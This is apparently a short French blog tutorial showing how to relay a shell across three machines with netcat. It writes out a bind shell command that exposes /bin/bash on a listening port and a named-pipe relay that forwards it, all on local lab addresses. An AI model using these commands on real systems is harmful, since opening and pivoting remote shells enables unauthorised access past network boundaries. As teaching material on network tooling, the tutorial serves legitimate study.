Netcat – mise en place d’un relai shell

Print Friendly, PDF & Email

Une fois de plus netcat va nous montrer toute sa simplicité. Aujourd’hui, je vous propose de découvrir comment créer une machine relai entre deux machines.

machine 1 > machine 2 > machine 3

Ainsi, on va utiliser 3 machines dont une servira d’intermédiaire entre les 2 autres. L’objectif étant de passer des commandes des commandes shell à partir de la machine sur la machine 3 en passant par la 2.

La démo en vidéo

Les commandes sont les suivantes :

exemple : 172.17.0.1 > 172.17.0.2 > 172.17.0.3

# sur la cible 172.17.0.3
nc -l -p 9999 -e /bin/bash

# sur le relay 172.17.0.2
mknod backpipe p
nc -l -p 7777 0<backpipe | nc 172.17.0.3 9999 1>backpipe

# sur la source 172.17.0.1
nc 172.17.0.2 7777
Découvrez  Netcat - Cryptcat pour chiffrer vos échanges